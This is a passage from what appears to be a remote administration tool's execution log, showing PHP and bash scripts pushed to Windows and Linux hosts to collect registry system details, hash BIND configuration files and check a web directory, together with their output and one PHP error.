[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";
2026-01-03 14:16:16:
C:\Windows\TEMP\pkp740579
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=RASPI-PC
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-03 14:25:20: Establishing a remote connection
2026-01-03 14:25:26: Establishing a remote connection
2026-01-03 14:25:27:
PUT: C:\Windows\TEMP\pkp333387
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
$res = getRegistry('HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0', 'Identifier');
echo "Processor=$res\n";
echo "\n";
2026-01-03 14:25:27:
C:\Windows\TEMP\pkp333387
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=RASPI-PC
ProductName=Windows 10 Pro
ReleaseId=2009
Processor=ARMv8 (64-bit) Family 8 Model D0B Revision 401
2026-01-03 14:34:05: Establishing a remote connection
2026-01-03 14:34:05:
PUT: C:\Windows\TEMP\pkp218946
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
$res = getRegistry('HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0', 'Identifier');
echo "Processor=$res\n";
echo "\n";
2026-01-03 14:34:05:
C:\Windows\TEMP\pkp218946
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=RASPI-PC
ProductName=Windows 10 Pro
ReleaseId=2009
Processor=ARMv8 (64-bit) Family 8 Model D0B Revision 401
2026-01-03 14:37:46: Establishing a remote connection
2026-01-03 14:37:51: Establishing a remote connection
2026-01-03 14:37:52:
PUT: C:\WINDOWS\TEMP\pkp988468
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
$res = getRegistry('HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0', 'Identifier');
echo "Processor=$res\n";
echo "\n";
2026-01-03 14:37:52:
C:\WINDOWS\TEMP\pkp988468
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=DESKTOP-G30MAQ7
ProductName=Windows 10 Enterprise LTSC 2019
ReleaseId=1809
Processor=Intel64 Family 6 Model 158 Stepping 11
2026-01-03 14:38:17: Establishing a remote connection
2026-01-03 14:38:34: Establishing a remote connection
2026-01-03 14:38:34:
PUT: C:\WINDOWS\TEMP\pkp312648
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
$res = getRegistry('HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0', 'Identifier');
echo "Processor=$res\n";
echo "\n";
2026-01-03 14:38:34:
C:\WINDOWS\TEMP\pkp312648
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=ZOOM-PC
ProductName=Windows 10 Pro
ReleaseId=2009
Processor=Intel64 Family 6 Model 156 Stepping 0
2026-01-03 14:46:42: Establishing a remote connection
2026-01-03 14:47:24: Establishing a remote connection
2026-01-03 14:47:25:
PUT: C:\WINDOWS\TEMP\pkp951442
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
$res = getRegistry('HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0', 'Identifier');
echo "Processor=$res\n";
echo "\n";
2026-01-03 14:47:25:
C:\WINDOWS\TEMP\pkp951442
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=DESKTOP-G30MAQ7
ProductName=Windows 10 Enterprise LTSC 2019
ReleaseId=1809
Processor=Intel64 Family 6 Model 158 Stepping 11
2026-01-03 15:17:43: Establishing a remote connection
2026-01-03 15:17:49: Establishing a remote connection
2026-01-03 15:17:49:
PUT: C:\Windows\TEMP\pkp524504
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
$res = getRegistry('HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0', 'Identifier');
echo "Processor=$res\n";
echo "\n";
2026-01-03 15:17:49:
C:\Windows\TEMP\pkp524504
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=VIDEO-PC
ProductName=Windows 7 Home Premium
STDERR:
ERROR: The system was unable to find the specified registry key or value.
PHP Fatal error: Uncaught ValueError: explode(): Argument #1 ($separator) cannot be empty in C:\Windows\Temp\pkp524504:11
Stack trace:
#0 C:\Windows\Temp\pkp524504(11): explode()
#1 C:\Windows\Temp\pkp524504(21): getRegistry()
#2 {main}
thrown in C:\Windows\Temp\pkp524504 on line 11
2026-01-03 15:53:17: Establishing a connection
2026-01-03 15:53:27: Establishing a connection
2026-01-03 15:53:27:
PUT: /tmp/pkp546731
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 15:53:28:
runuser -l bind -s /bin/bash -c '/tmp/pkp546731; rm /tmp/pkp546731'
2026-01-03 15:53:28:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 15:54:16: Establishing a connection
2026-01-03 15:54:16: Establishing a connection
2026-01-03 15:54:17:
PUT: /tmp/pkp135366
#!/bin/bash
if [ -d "/var/www/drewmarshall_dgm/.well-known" ]; then
echo 1
else
echo 0
fi
